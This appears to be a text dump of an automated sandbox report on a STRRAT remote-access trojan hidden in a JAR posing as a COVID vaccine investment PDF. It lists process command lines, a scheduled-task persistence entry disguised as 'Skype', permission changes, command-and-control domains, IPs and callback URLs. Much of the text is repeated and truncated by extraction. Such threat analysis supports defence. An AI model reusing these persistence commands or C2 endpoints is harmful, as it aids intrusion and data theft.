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General
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File Created
File Written
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Analysis Process: cmd.exe PID: 4120 Parent PID: 5664
General
File Activities

File Created

Analysis Process: conhost.exe PID: 5708 Parent PID: 4120
General

Analysis Process: java.exe PID: 5544 Parent PID: 4120
General
File Activities

File Created
File Written
File Read

Analysis Process: icacls.exe PID: 5980 Parent PID: 5544
General
File Activities

Analysis Process: conhost.exe PID: 384 Parent PID: 5980
General

Analysis Process: wscript.exe PID: 5712 Parent PID: 5544
General
File Activities

Analysis Process: javaw.exe PID: 3164 Parent PID: 5712
General
File Activities

File Created
File Moved
File Written
File Read
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General
File Activities

File Created
File Deleted
File Written
File Read
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Key Created
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Analysis Process: conhost.exe PID: 5988 Parent PID: 720
General

Analysis Process: cmd.exe PID: 5848 Parent PID: 720
General

Analysis Process: java.exe PID: 4952 Parent PID: 720
General

Analysis Process: conhost.exe PID: 3096 Parent PID: 5848
General

Analysis Process: conhost.exe PID: 4904 Parent PID: 4952
General

Analysis Process: schtasks.exe PID: 5312 Parent PID: 5848
General

Analysis Process: notepad.exe PID: 2596 Parent PID: 528
General

Analysis Process: java.exe PID: 6284 Parent PID: 4952
General

Analysis Process: conhost.exe PID: 6364 Parent PID: 6284
General
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Analysis Process: notepad.exe PID: 6576 Parent PID: 3388
General
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General
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General
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General
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General

Disassembly
Code Analysis
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Analysis Report Covid19_Vacine_Investment_Proposals_1st_Quarter2021 pdf.jar…

Overview

General Information

Sample 
Name:

Covid19_Vacine_Investme
nt_Proposals_1st_Quarter
2021 pdf.jar

Analysis ID: 356987

MD5: 5435ec679cdd07…

SHA1: eab4494e7db4bc…

SHA256: 5a962977909fafb…

Infos:

Most interesting Screenshot:

Detection

STRRATSTRRAT

Score: 80

Range: 0 - 100

Whitelisted: false

Confidence: 100%

Signatures

Yara detected STRRAT

Yara detected STRRAT

Yara detected STRRAT

Yara detected STRRAT

Yara detected STRRAT

Yara detected STRRAT

Yara detected STRRATYara detected STRRAT

Connects to a pastebin service (like

Connects to a pastebin service (like

Connects to a pastebin service (like

Connects to a pastebin service (like

Connects to a pastebin service (like

Connects to a pastebin service (like

Connects to a pastebin service (likeConnects to a pastebin service (like……

Creates autostart registry keys to la

Creates autostart registry keys to la

Creates autostart registry keys to la

Creates autostart registry keys to la

Creates autostart registry keys to la

Creates autostart registry keys to la

Creates autostart registry keys to laCreates autostart registry keys to la……

Creates multiple autostart registry ke

Creates multiple autostart registry ke

Creates multiple autostart registry ke

Creates multiple autostart registry ke

Creates multiple autostart registry ke

Creates multiple autostart registry ke

Creates multiple autostart registry keCreates multiple autostart registry ke……

Exploit detected, runtime environme

Exploit detected, runtime environme

Exploit detected, runtime environme

Exploit detected, runtime environme

Exploit detected, runtime environme

Exploit detected, runtime environme

Exploit detected, runtime environmeExploit detected, runtime environme……

Exploit detected, runtime environme

Exploit detected, runtime environme

Exploit detected, runtime environme

Exploit detected, runtime environme

Exploit detected, runtime environme

Exploit detected, runtime environme

Exploit detected, runtime environmeExploit detected, runtime environme……

Uses dynamic DNS services

Uses dynamic DNS services

Uses dynamic DNS services

Uses dynamic DNS services

Uses dynamic DNS services

Uses dynamic DNS services

Uses dynamic DNS servicesUses dynamic DNS services

Uses schtasks.exe or at.exe to add 

Uses schtasks.exe or at.exe to add 

Uses schtasks.exe or at.exe to add 

Uses schtasks.exe or at.exe to add 

Uses schtasks.exe or at.exe to add 

Uses schtasks.exe or at.exe to add 

Uses schtasks.exe or at.exe to add Uses schtasks.exe or at.exe to add ……

Yara detected Allatori_JAR_Obfusca

Yara detected Allatori_JAR_Obfusca

Yara detected Allatori_JAR_Obfusca

Yara detected Allatori_JAR_Obfusca

Yara detected Allatori_JAR_Obfusca

Yara detected Allatori_JAR_Obfusca

Yara detected Allatori_JAR_ObfuscaYara detected Allatori_JAR_Obfusca……

Contains capabilities to detect virtua

Contains capabilities to detect virtua

Contains capabilities to detect virtua

Contains capabilities to detect virtua

Contains capabilities to detect virtua

Contains capabilities to detect virtua

Contains capabilities to detect virtuaContains capabilities to detect virtua……

Contains functionality to query CPU 

Contains functionality to query CPU 

Contains functionality to query CPU 

Contains functionality to query CPU 

Contains functionality to query CPU 

Contains functionality to query CPU 

Contains functionality to query CPU Contains functionality to query CPU ……

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended mo

Creates a process in suspended moCreates a process in suspended mo……

Creates a start menu entry (Start Me

Creates a start menu entry (Start Me

Creates a start menu entry (Start Me

Creates a start menu entry (Start Me

Creates a start menu entry (Start Me

Creates a start menu entry (Start Me

Creates a start menu entry (Start MeCreates a start menu entry (Start Me……

Detected TCP or UDP traffic on non

Detected TCP or UDP traffic on non

Detected TCP or UDP traffic on non

Detected TCP or UDP traffic on non

Detected TCP or UDP traffic on non

Detected TCP or UDP traffic on non

Detected TCP or UDP traffic on nonDetected TCP or UDP traffic on non……

Drops PE files

Drops PE files

Drops PE files

Drops PE files

Drops PE files

Drops PE files

Drops PE filesDrops PE files

Found WSH timer for Javascript or V

Found WSH timer for Javascript or V

Found WSH timer for Javascript or V

Found WSH timer for Javascript or V

Found WSH timer for Javascript or V

Found WSH timer for Javascript or V

Found WSH timer for Javascript or VFound WSH timer for Javascript or V……

IP address seen in connection with o

IP address seen in connection with o

IP address seen in connection with o

IP address seen in connection with o

IP address seen in connection with o

IP address seen in connection with o

IP address seen in connection with oIP address seen in connection with o……

Internet Provider seen in connection

Internet Provider seen in connection

Internet Provider seen in connection

Internet Provider seen in connection

Internet Provider seen in connection

Internet Provider seen in connection

Internet Provider seen in connectionInternet Provider seen in connection……

JA3 SSL client fingerprint seen in co

JA3 SSL client fingerprint seen in co

JA3 SSL client fingerprint seen in co

JA3 SSL client fingerprint seen in co

JA3 SSL client fingerprint seen in co

JA3 SSL client fingerprint seen in co

JA3 SSL client fingerprint seen in coJA3 SSL client fingerprint seen in co……

Monitors certain registry keys / valu

Monitors certain registry keys / valu

Monitors certain registry keys / valu

Monitors certain registry keys / valu

Monitors certain registry keys / valu

Monitors certain registry keys / valu

Monitors certain registry keys / valuMonitors certain registry keys / valu……

Queries the installed Java version

Queries the installed Java version

Queries the installed Java version

Queries the installed Java version

Queries the installed Java version

Queries the installed Java version

Queries the installed Java versionQueries the installed Java version

Queries the volume information (nam

Queries the volume information (nam

Queries the volume information (nam

Queries the volume information (nam

Queries the volume information (nam

Queries the volume information (nam

Queries the volume information (namQueries the volume information (nam……

Stores files to the Windows start me

Stores files to the Windows start me

Stores files to the Windows start me

Stores files to the Windows start me

Stores files to the Windows start me

Stores files to the Windows start me

Stores files to the Windows start meStores files to the Windows start me……

Uses cacls to modify the permission

Uses cacls to modify the permission

Uses cacls to modify the permission

Uses cacls to modify the permission

Uses cacls to modify the permission

Uses cacls to modify the permission

Uses cacls to modify the permissionUses cacls to modify the permission……

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (

Uses code obfuscation techniques (Uses code obfuscation techniques (……

Yara signature match

Yara signature match

Yara signature match

Yara signature match

Yara signature match

Yara signature match

Yara signature matchYara signature match

Classification

Ransomware

Spreading

Phishing

Banker

Trojan / Bot

Adware

Spyware

Exploiter

Evader

Miner

clean

clean

clean

clean

clean

clean

clean

suspicious

suspicious

suspicious

suspicious

suspicious

suspicious

suspicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

System is w10x64

cmd.exe (PID: 4952 cmdline: C:\Windows\system32\cmd.exe /c 7za.exe x -y -oC:\jar 'C:\Users\user\Desktop\Covid19_Vacine_Investment_Proposals_1st_Quarter2021 pdf.jar' 

MD5: 4E2ACF4F8A396486AB4268C94A6A245F)
7za.exe (PID: 384 cmdline: 7za.exe x -y -oC:\jar 'C:\Users\user\Desktop\Covid19_Vacine_Investment_Proposals_1st_Quarter2021 pdf.jar' MD5: 

77E556CDFDC5C592F5C46DB4127C6F4C)
conhost.exe (PID: 4904 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

java.exe (PID: 6284 cmdline: 'C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exe' -jar 'C:\Users\user\AppData\Roaming\plugins.jar' mp MD5: 

28733BA8C383E865338638DF5196E6FE)
conhost.exe (PID: 6364 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cmd.exe (PID: 4120 cmdline: 'C:\Windows\System32\cmd.exe' /c java.exe -jar 'C:\Users\user\Desktop\Covid19_Vacine_Investment_Proposals_1st_Quarter2021 pdf.jar' keuqzwqbv

n.Mmwwrnygnfl >> C:\cmdlinestart.log 2>&1 MD5: 4E2ACF4F8A396486AB4268C94A6A245F)
conhost.exe (PID: 5708 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

java.exe (PID: 5544 cmdline: java.exe -jar 'C:\Users\user\Desktop\Covid19_Vacine_Investment_Proposals_1st_Quarter2021 pdf.jar' keuqzwqbvn.Mmwwrnygnfl  MD5: 

28733BA8C383E865338638DF5196E6FE)
icacls.exe (PID: 5980 cmdline: C:\Windows\system32\icacls.exe C:\ProgramData\Oracle\Java\.oracle_jre_usage /grant 'everyone':(OI)(CI)M MD5: 

FF0D1D4317A44C951240FAE75075D501)
conhost.exe (PID: 384 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

wscript.exe (PID: 5712 cmdline: wscript C:\Users\user\fukvowbkrs.js MD5: 7075DD7B9BE8807FCA93ACD86F724884)

javaw.exe (PID: 3164 cmdline: 'C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe' -jar 'C:\Users\user\AppData\Roaming\vmlpusjwhz.txt' MD5: 

4BFEB2F64685DA09DEBB95FB981D4F65)
java.exe (PID: 720 cmdline: 'C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exe' -jar 'C:\Users\user\vmlpusjwhz.txt' MD5: 

28733BA8C383E865338638DF5196E6FE)
conhost.exe (PID: 5988 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cmd.exe (PID: 5848 cmdline: cmd /c schtasks /create /sc minute /mo 30 /tn Skype /tr 'C:\Users\user\AppData\Roaming\vmlpusjwhz.txt' MD5: 

F3BDBE3BB6F734E357235F4D5898582D)
conhost.exe (PID: 3096 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

schtasks.exe (PID: 5312 cmdline: schtasks /create /sc minute /mo 30 /tn Skype /tr 'C:\Users\user\AppData\Roaming\vmlpusjwhz.txt' MD5: 

15FF7D8324231381BAD48A052F85DF04)
java.exe (PID: 4952 cmdline: 'C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exe' -jar 'C:\Users\user\AppData\Roaming\vmlpusjwhz.txt' MD5: 

28733BA8C383E865338638DF5196E6FE)
notepad.exe (PID: 2596 cmdline: C:\Windows\system32\NOTEPAD.EXE C:\Users\user\AppData\Roaming\vmlpusjwhz.txt MD5: BB9A06B8F2DD9D24C77F389D7B2B58D2)

notepad.exe (PID: 6576 cmdline: 'C:\Windows\system32\NOTEPAD.EXE' C:\Users\user\AppData\Roaming\vmlpusjwhz.txt MD5: BB9A06B8F2DD9D24C77F389D7B2B58D2)

notepad.exe (PID: 7136 cmdline: 'C:\Windows\system32\NOTEPAD.EXE' C:\Users\user\AppData\Roaming\vmlpusjwhz.txt MD5: BB9A06B8F2DD9D24C77F389D7B2B58D2)

javaw.exe (PID: 4880 cmdline: 'C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe' -jar 'C:\Users\user\AppData\Roaming\plugins.jar' mp MD5: 

4BFEB2F64685DA09DEBB95FB981D4F65)
notepad.exe (PID: 6504 cmdline: 'C:\Windows\system32\NOTEPAD.EXE' C:\Users\user\AppData\Roaming\vmlpusjwhz.txt MD5: BB9A06B8F2DD9D24C77F389D7B2B58D2)

javaw.exe (PID: 6568 cmdline: 'C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe' -jar 'C:\Users\user\AppData\Roaming\plugins.jar' mp MD5: 

4BFEB2F64685DA09DEBB95FB981D4F65)
cleanup

Startup
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Malware Configuration

Sigma Overview

No Sigma rule has matched

No configs have been found

Source Rule Description Author Strings

C:\jar\keuqzwqbvn\resources\umxybpjabc SUSP_Base64_Encoded_
Hex_Encoded_Code

Detects hex 
encoded code that 
has been base64 
encoded

Florian Roth 0x34d:$x1: 78 34 4E 54 56 63 65 44 51 31 58 48 67
0x35d:$x1: 78 34 4E 44 52 63 65 44 51 79 58 48 67
0x36d:$x1: 78 34 4E 54 46 63 65 44 4E 46 58 48 67
0x37d:$x1: 78 34 4E 44 42 63 65 44 51 7A 58 48 67
0x39d:$x1: 78 34 4E 44 6C 63 65 44 4E 46 58 48 67
0x3ad:$x1: 78 34 4E 44 42 63 65 44 52 42 58 48 67
0x3bd:$x1: 78 34 4E 54 6D 63 65 44 55 32 58 48 67
0x3cd:$x1: 78 34 4E 44 6C 63 65 44 4E 46 58 48 67
0x3dd:$x1: 78 34 4E 44 42 63 65 44 4E 46 58 48 67
0x3ed:$x1: 78 34 4E 44 42 63 65 44 4E 46 58 48 67
0x3fd:$x1: 78 34 4E 44 42 63 65 44 4E 46 58 48 67
0x40d:$x1: 78 34 4E 44 42 63 65 44 4E 46 58 48 67
0x41d:$x1: 78 34 4E 44 42 63 65 44 4E 46 58 48 67
0x42d:$x1: 78 34 4E 44 42 63 65 44 4E 46 58 48 67
0x43d:$x1: 78 34 4E 44 42 63 65 44 4E 46 58 48 67
0x44d:$x1: 78 34 4E 44 42 63 65 44 4E 46 58 48 67
0x45d:$x1: 78 34 4E 44 42 63 65 44 4E 46 58 48 67
0x46d:$x1: 78 34 4E 44 42 63 65 44 4E 46 58 48 67
0x47d:$x1: 78 34 4E 44 42 63 65 44 4E 46 58 48 67
0x48d:$x1: 78 34 4E 44 42 63 65 44 4E 46 58 48 67
0x49d:$x1: 78 34 4E 44 42 63 65 44 4E 46 58 48 67

C:\Users\user\fukvowbkrs.js SUSP_Base64_Encoded_
Hex_Encoded_Code

Detects hex 
encoded code that 
has been base64 
encoded

Florian Roth 0x34d:$x1: 78 34 4E 54 56 63 65 44 51 31 58 48 67
0x35d:$x1: 78 34 4E 44 52 63 65 44 51 79 58 48 67
0x36d:$x1: 78 34 4E 54 46 63 65 44 4E 46 58 48 67
0x37d:$x1: 78 34 4E 44 42 63 65 44 51 7A 58 48 67
0x39d:$x1: 78 34 4E 44 6C 63 65 44 4E 46 58 48 67
0x3ad:$x1: 78 34 4E 44 42 63 65 44 52 42 58 48 67
0x3bd:$x1: 78 34 4E 54 6D 63 65 44 55 32 58 48 67
0x3cd:$x1: 78 34 4E 44 6C 63 65 44 4E 46 58 48 67
0x3dd:$x1: 78 34 4E 44 42 63 65 44 4E 46 58 48 67
0x3ed:$x1: 78 34 4E 44 42 63 65 44 4E 46 58 48 67
0x3fd:$x1: 78 34 4E 44 42 63 65 44 4E 46 58 48 67
0x40d:$x1: 78 34 4E 44 42 63 65 44 4E 46 58 48 67
0x41d:$x1: 78 34 4E 44 42 63 65 44 4E 46 58 48 67
0x42d:$x1: 78 34 4E 44 42 63 65 44 4E 46 58 48 67
0x43d:$x1: 78 34 4E 44 42 63 65 44 4E 46 58 48 67
0x44d:$x1: 78 34 4E 44 42 63 65 44 4E 46 58 48 67
0x45d:$x1: 78 34 4E 44 42 63 65 44 4E 46 58 48 67
0x46d:$x1: 78 34 4E 44 42 63 65 44 4E 46 58 48 67
0x47d:$x1: 78 34 4E 44 42 63 65 44 4E 46 58 48 67
0x48d:$x1: 78 34 4E 44 42 63 65 44 4E 46 58 48 67
0x49d:$x1: 78 34 4E 44 42 63 65 44 4E 46 58 48 67

Source Rule Description Author Strings

00000018.00000002.521334832.000000000A81
0000.00000004.00000001.sdmp

JoeSecurity_STRRAT Yara detected STRRAT Joe Security

00000010.00000002.519763899.0000000004EC
D000.00000004.00000001.sdmp

JoeSecurity_STRRAT Yara detected STRRAT Joe Security

00000010.00000002.517894566.0000000004DC
D000.00000004.00000001.sdmp

JoeSecurity_STRRAT Yara detected STRRAT Joe Security

00000010.00000002.520726996.0000000009F9
E000.00000004.00000001.sdmp

JoeSecurity_Allatori_JAR
_Obfuscator

Yara detected 
Allatori_JAR_Obfuscator

Joe Security

00000027.00000002.352640886.000000000461
D000.00000004.00000001.sdmp

JoeSecurity_Allatori_JAR
_Obfuscator

Yara detected 
Allatori_JAR_Obfuscator

Joe Security

Click to see the 23 entries

Yara Overview

Dropped Files

Memory Dumps

Copyright null 2021 Page 6 of 706



Signature Overview

• Compliance

• Software Vulnerabilities

• Networking

• System Summary

• Data Obfuscation

• Persistence and Installation Behavior

• Boot Survival

• Hooking and other Techniques for Hiding and Protection

• Malware Analysis System Evasion

• Anti Debugging

• HIPS / PFW / Operating System Protection Evasion

• Language, Device and Operating System Detection

• Stealing of Sensitive Information

• Remote Access Functionality

Click to jump to signature section

Compliance:

Uses new MSVCR Dlls

Uses secure TLS version for HTTPS connections

Software Vulnerabilities:

Exploit detected, runtime environment starts unknown processes

Networking:

Connects to a pastebin service (likely for C&C)

Uses dynamic DNS services

Data Obfuscation:

Yara detected Allatori_JAR_Obfuscator

Persistence and Installation Behavior:

Exploit detected, runtime environment dropped PE file

Boot Survival:

Creates autostart registry keys to launch java

Creates multiple autostart registry keys

Uses schtasks.exe or at.exe to add and modify task schedules

Stealing of Sensitive Information:

Yara detected STRRAT

Remote Access Functionality:

Yara detected STRRAT
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Mitre Att&ck Matrix

Initial
Access Execution Persistence

Privilege
Escalation Defense Evasion

Credential
Access Discovery

Lateral
Movement Collection Exfiltration

Command
and Control

Network
Effects

Valid
Accounts

Command
and Scripting
Interpreter 2

Startup
Items 1

Startup
Items 1

Masquerading 1 OS
Credential
Dumping

Query Registry 1 Remote
Services

Data from
Local
System

Exfiltration
Over Other
Network
Medium

Web
Service 1

Eavesdrop on
Insecure
Network
Communication

Default
Accounts

Scheduled
Task/Job 1

Scheduled
Task/Job 1

Process
Injection 1 2

Virtualization/Sandbox
Evasion 1

LSASS
Memory

Security Software
Discovery 1 1

Remote
Desktop
Protocol

Data from
Removable
Media

Exfiltration
Over
Bluetooth

Encrypted
Channel 2

Exploit SS7 to
Redirect Phone
Calls/SMS

Domain
Accounts

Scripting 1 Registry Run
Keys / Startup
Folder 2 2 1

Scheduled
Task/Job 1

Disable or Modify
Tools 1

Security
Account
Manager

Virtualization/Sandbox
Evasion 1

SMB/Windows
Admin Shares

Data from
Network
Shared
Drive

Automated
Exfiltration

Non-Standard
Port 1

Exploit SS7 to
Track Device
Location

Local
Accounts

Exploitation
for Client
Execution 2

Services File
Permissions
Weakness 1

Registry Run
Keys / Startup
Folder 2 2 1

Process
Injection 1 2

NTDS Process Discovery 1 Distributed
Component
Object Model

Input
Capture

Scheduled
Transfer

Non-
Application
Layer
Protocol 1

SIM Card
Swap

Cloud
Accounts

Cron Network Logon
Script

Services File
Permissions
Weakness 1

Scripting 1 LSA
Secrets

Remote System
Discovery 1

SSH Keylogging Data
Transfer
Size Limits

Application
Layer
Protocol 1 2

Manipulate
Device
Communication

Replication
Through
Removable
Media

Launchd Rc.common Rc.common Obfuscated Files or
Information 1

Cached
Domain
Credentials

File and Directory
Discovery 1

VNC GUI Input
Capture

Exfiltration
Over C2
Channel

Multiband
Communication

Jamming or
Denial of
Service

External
Remote
Services

Scheduled
Task

Startup Items Startup Items Services File
Permissions
Weakness 1

DCSync System Information
Discovery 3 2

Windows
Remote
Management

Web Portal
Capture

Exfiltration
Over
Alternative
Protocol

Commonly
Used Port

Rogue Wi-Fi
Access Points

Behavior Graph
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Behavior Graph

ID: 356987

Sample: Covid19_Vacine_Investment_P...

Startdate: 23/02/2021

Architecture: WINDOWS

Score: 80

strizzz100.duckdns.org

Yara detected STRRAT
Connects to a pastebin

service (likely for
C&C)

Uses dynamic DNS services 3 other signatures

cmd.exe

2

        started       

cmd.exe

1

        started       

notepad.exe

        started       

5 other processes

java.exe

6

        started       

conhost.exe

        started       

java.exe

        started       

7za.exe

9

        started       

conhost.exe

        started       

Exploit detected, runtime
environment starts unknown

processes

wscript.exe

2

        started       

icacls.exe

1

        started       

pluginserver.duckdns.org

23.239.31.129, 54557

LINODE-APLinodeLLCUS

United States

str-master.pw 2 other IPs or domains

C:\Users\user\...\jna8178706811767784369.dll, PE32

dropped

Creates autostart registry
keys to launch java

Creates multiple autostart
registry keys

conhost.exe

        started       

javaw.exe

25

        started       

conhost.exe

        started       

sonatype.map.fastly.net

199.232.192.209, 443, 49718, 49719

FASTLYUS

United States

github.com

140.82.121.3, 443, 49721

GITHUBUS

United States

3 other IPs or domains

java.exe

2 21

        started       

Uses dynamic DNS services

C:\Users\user\AppData\...\vmlpusjwhz.txt, Zip

dropped

C:\Users\user\...\jna7235467147341798336.dll, PE32

dropped

Creates multiple autostart
registry keys

java.exe

        started       

cmd.exe

        started       

conhost.exe

        started       

strizzz100.duckdns.org

107.175.144.243, 1071, 4040

AS-COLOCROSSINGUS

United States

str-master.pw

C:\Users\user\AppData\Roaming\plugins.jar, Zip

dropped

C:\Users\user\...\jna6181350368483245817.dll, PE32

dropped

conhost.exe

        started       

schtasks.exe

        started       

Legend:

Process

Signature

Created File

DNS/IP Info

Is Dropped

Is Windows Process

Number of created Registry Values

Number of created Files

Visual Basic

Delphi

Java

.Net C# or VB.NET

C, C++ or other language

Is malicious

Internet

Hide Legend

Thumbnails
This section contains all screenshots as thumbnails, including those not shown in the slideshow.

No bigger version No bigger version No bigger version No bigger version No bigger version No bigger version No bigger version No bigger version No bigger version

No bigger version No bigger version No bigger version No bigger version

Screenshots
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No Antivirus matches

Source Detection Scanner Label Link

C:\Users\user\AppData\Local\Temp\jna-99048687\jna6181350368483245817.dll 3% Metadefender Browse

C:\Users\user\AppData\Local\Temp\jna-99048687\jna6181350368483245817.dll 0% ReversingLabs

C:\Users\user\AppData\Local\Temp\jna-99048687\jna7235467147341798336.dll 3% Metadefender Browse

C:\Users\user\AppData\Local\Temp\jna-99048687\jna7235467147341798336.dll 0% ReversingLabs

C:\Users\user\AppData\Local\Temp\jna-99048687\jna8178706811767784369.dll 3% Metadefender Browse

C:\Users\user\AppData\Local\Temp\jna-99048687\jna8178706811767784369.dll 0% ReversingLabs

No Antivirus matches

No Antivirus matches

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs
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https://www.metadefender.com/#!/results/file/YnpJd01USXpNVkF4WlRBelNXMVliUXJsU2hIY2FFUA/regular/analysis
https://www.metadefender.com/#!/results/file/YnpJd01USXpNVkF4WlRBelNXMVliUXJsU2hIY2FFUA/regular/analysis
https://www.metadefender.com/#!/results/file/YnpJd01USXpNVkF4WlRBelNXMVliUXJsU2hIY2FFUA/regular/analysis


Source Detection Scanner Label Link

crl.xrampsecurity.com/XGCA.crl 0% URL Reputation safe

crl.xrampsecurity.com/XGCA.crl 0% URL Reputation safe

crl.xrampsecurity.com/XGCA.crl 0% URL Reputation safe

crl.chambersign.org/chambersroot.crl0 0% URL Reputation safe

crl.chambersign.org/chambersroot.crl0 0% URL Reputation safe

crl.chambersign.org/chambersroot.crl0 0% URL Reputation safe

trustcenter-crl.certificat2.com/Keynectis/KEYNECTIS_ROOT_CA.crl0 0% URL Reputation safe

trustcenter-crl.certificat2.com/Keynectis/KEYNECTIS_ROOT_CA.crl0 0% URL Reputation safe

trustcenter-crl.certificat2.com/Keynectis/KEYNECTIS_ROOT_CA.crl0 0% URL Reputation safe

www.certplus.com/CRL/class2.crl 0% URL Reputation safe

www.certplus.com/CRL/class2.crl 0% URL Reputation safe

www.certplus.com/CRL/class2.crl 0% URL Reputation safe

bugreport.sun.com/bugreport/ 0% Avira URL Cloud safe

cps.chambersign.org/cps/chambersroot.html0 0% URL Reputation safe

cps.chambersign.org/cps/chambersroot.html0 0% URL Reputation safe

cps.chambersign.org/cps/chambersroot.html0 0% URL Reputation safe

www.chambersign.org1 0% URL Reputation safe

www.chambersign.org1 0% URL Reputation safe

www.chambersign.org1 0% URL Reputation safe

https://github-releases.githubusercontent.com/51361554/623ef000-9da4-11e9-9ea2-
d90155318994?X-Amz-Al

0% Avira URL Cloud safe

str-master.pw/strigoi/server/ping.php 0% Avira URL Cloud safe

jbfrost.live/strigoi/server/?hwid=1&lid=m&ht=5 0% Avira URL Cloud safe

ops.com.pa/jre7.zip 0% Avira URL Cloud safe

https://ocsp.quovadisoffshore.com 0% URL Reputation safe

https://ocsp.quovadisoffshore.com 0% URL Reputation safe

https://ocsp.quovadisoffshore.com 0% URL Reputation safe

crl.securetrust.com/STCA.crl0 0% URL Reputation safe

crl.securetrust.com/STCA.crl0 0% URL Reputation safe

crl.securetrust.com/STCA.crl0 0% URL Reputation safe

str-master.pw/strigoi/server/ping.php?lid= 0% Avira URL Cloud safe

cps.chambersign.org/cps/chambersroot.html 0% URL Reputation safe

cps.chambersign.org/cps/chambersroot.html 0% URL Reputation safe

cps.chambersign.org/cps/chambersroot.html 0% URL Reputation safe

www.certplus.com/CRL/class3P.crl 0% URL Reputation safe

www.certplus.com/CRL/class3P.crl 0% URL Reputation safe

www.certplus.com/CRL/class3P.crl 0% URL Reputation safe

www.certplus.com/CRL/class3P.crl0 0% URL Reputation safe

www.certplus.com/CRL/class3P.crl0 0% URL Reputation safe

www.certplus.com/CRL/class3P.crl0 0% URL Reputation safe

crl.securetrust.com/STCA.crl 0% URL Reputation safe

crl.securetrust.com/STCA.crl 0% URL Reputation safe

crl.securetrust.com/STCA.crl 0% URL Reputation safe

str-master.pw/strigoi/server/ping.php? 0% Avira URL Cloud safe

www.certplus.com/CRL/class2.crl0 0% URL Reputation safe

www.certplus.com/CRL/class2.crl0 0% URL Reputation safe

www.certplus.com/CRL/class2.crl0 0% URL Reputation safe

crl.xrampsecurity.com/XGCA.crl0 0% URL Reputation safe

crl.xrampsecurity.com/XGCA.crl0 0% URL Reputation safe

crl.xrampsecurity.com/XGCA.crl0 0% URL Reputation safe

trustcenter-crl.certificat2.com/Keynectis/KEYNECTIS_ROOT_CA.crl 0% URL Reputation safe

trustcenter-crl.certificat2.com/Keynectis/KEYNECTIS_ROOT_CA.crl 0% URL Reputation safe

trustcenter-crl.certificat2.com/Keynectis/KEYNECTIS_ROOT_CA.crl 0% URL Reputation safe

www.quovadis.bm 0% URL Reputation safe

www.quovadis.bm 0% URL Reputation safe

www.quovadis.bm 0% URL Reputation safe

www.quovadis.bm0 0% URL Reputation safe

www.quovadis.bm0 0% URL Reputation safe

www.quovadis.bm0 0% URL Reputation safe

https://ocsp.quovadisoffshore.com0 0% URL Reputation safe

https://ocsp.quovadisoffshore.com0 0% URL Reputation safe

https://ocsp.quovadisoffshore.com0 0% URL Reputation safe

www.allatori.com 0% URL Reputation safe

www.allatori.com 0% URL Reputation safe
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www.allatori.com 0% URL Reputation safe

crl.chambersign.org/chambersroot.crlC5 0% Avira URL Cloud safe

str-master.pw 0% Avira URL Cloud safe

crl.chambersign.org/chambersroot.crl 0% URL Reputation safe

crl.chambersign.org/chambersroot.crl 0% URL Reputation safe

crl.chambersign.org/chambersroot.crl 0% URL Reputation safe

www.chambersign.org 0% URL Reputation safe

www.chambersign.org 0% URL Reputation safe

www.chambersign.org 0% URL Reputation safe

policy.camerfirma.com0 0% URL Reputation safe

policy.camerfirma.com0 0% URL Reputation safe

policy.camerfirma.com0 0% URL Reputation safe

str-master.pw/strigoi/server/ping.php?lid=RUGR-ATSN-D14P-VBXX-49LW 0% Avira URL Cloud safe

Source Detection Scanner Label Link

Name IP Active Malicious Antivirus Detection Reputation

pluginserver.duckdns.org 23.239.31.129 true true unknown

sonatype.map.fastly.net 199.232.192.209 true false unknown

github.com 140.82.121.3 true false high

strizzz100.duckdns.org 107.175.144.243 true true unknown

github-releases.githubusercontent.com 185.199.108.154 true false unknown

pastebin.com 104.23.99.190 true false high

str-master.pw unknown unknown true unknown

repo1.maven.org unknown unknown false high

jbfrost.live unknown unknown true unknown

Name Source Malicious Antivirus Detection Reputation

crl.xrampsecurity.com/XGCA.crl javaw.exe, 0000000B.00000002.2
39749123.000000000A126000.0000
0004.00000001.sdmp, java.exe, 
0000000D.00000002.253571843.00
0000000A727000.00000004.000000
01.sdmp, java.exe, 00000010.00
000002.521484537.000000000A126
000.00000004.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

https://repo1.maven.org/maven2/net/java/dev/jna/jna-
platform/5.5.0/jna-platform-5.5.0.jar

javaw.exe, 0000000B.00000002.2
38456779.0000000009F50000.0000
0004.00000001.sdmp, java.exe, 
0000000D.00000002.253150120.00
0000000A550000.00000004.000000
01.sdmp, java.exe, 00000010.00
000002.520395442.0000000009F50
000.00000004.00000001.sdmp

false high

crl.chambersign.org/chambersroot.crl0 javaw.exe, 0000000B.00000002.2
39749123.000000000A126000.0000
0004.00000001.sdmp, java.exe, 
0000000D.00000002.253093640.00
000000054CE000.00000004.000000
01.sdmp, java.exe, 00000010.00
000002.521484537.000000000A126
000.00000004.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

trustcenter-
crl.certificat2.com/Keynectis/KEYNECTIS_ROOT_CA.crl0

javaw.exe, 0000000B.00000002.2
42664932.000000001582F000.0000
0004.00000001.sdmp, java.exe, 
